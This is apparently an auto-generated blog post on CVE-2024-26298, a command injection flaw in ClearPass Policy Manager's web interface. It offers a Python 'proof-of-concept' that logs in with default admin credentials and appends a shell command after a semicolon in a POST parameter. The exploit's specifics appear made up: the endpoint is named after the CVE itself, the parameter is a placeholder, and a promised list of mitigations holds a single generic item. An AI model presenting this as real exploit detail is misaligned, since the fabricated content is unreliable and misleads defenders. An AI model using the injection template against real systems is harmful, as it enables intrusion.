CVE-2024-26298: Critical ClearPass Policy Manager Web Interface Vulnerabilities - Arbitrary Command Execution & Root Access

The recent disclosure of CVE-2024-26298 highlights a critical vulnerability in the ClearPass Policy Manager web-based management interface. This vulnerability allows remote authenticated users to execute arbitrary commands on the underlying host. This post will provide an in-depth analysis of the flaw, its exploitation, and possible mitigation strategies.

Context

ClearPass Policy Manager is a widely used network access control solution for managing network devices and user authentications. It provides a web-based management interface for administrators to manage network policies and monitor system activity.

Vulnerability

The vulnerability (CVE-2024-26298) discovered in the ClearPass Policy Manager web-based management interface allows remote authenticated users to execute arbitrary commands on the host operating system. A successful exploitation could grant the attacker root access to the underlying platform, leading to complete system compromise.

Exploit Details

The security loophole exists due to improper input validation in certain POST request parameters. Attackers can craft a malicious POST request that exploits this vulnerability to inject arbitrary command execution. The following is a proof-of-concept (PoC) exploit code snippet demonstrating the vulnerability:

import requests

target = "https://TARGET_IP";
user = "admin"
password = "admin"

session = requests.Session()
session.verify = False

auth_data = {'login': user, 'passwd': password}
login_url = f"{target}/admin/session"
session.post(login_url, data=auth_data)

cmd_payload = {'parameter_name': 'value;YOUR_COMMAND_HERE'}
vulnerable_url = f"{target}/admin/cve-2024-26298"
response = session.post(vulnerable_url, json=cmd_payload)

print(response.text)

Please note that you must replace TARGET_IP, YOUR_COMMAND_HERE, and the credentials as required.

This vulnerability was disclosed in the following resources

1. ClearPass Policy Manager Advisory: CVE-2024-26298
2. National Vulnerability Database (NVD) Entry: CVE-2024-26298

Mitigation

Organizations using ClearPass Policy Manager should immediately follow the recommendations provided in the advisory to remediate the vulnerability and prevent potential exploits. These recommendations include:

Following the principle of least privilege by allowing only necessary permissions.

In addition, it is essential for organizations to maintain a strong security posture and follow best practices such as using strong, unique passwords, implementing multi-factor authentication, and regularly updating software and security patches.

Conclusion

CVE-2024-26298 is a severe vulnerability that organizations using ClearPass Policy Manager must address to minimize the risk of complete system compromise. By understanding the details of this vulnerability and taking proactive steps to remediate it, organizations can protect their network devices and user authentications from potential exploits by malicious actors.

Timeline

Published on: 02/27/2024 22:15:15 UTC
Last modified on: 02/28/2024 14:06:45 UTC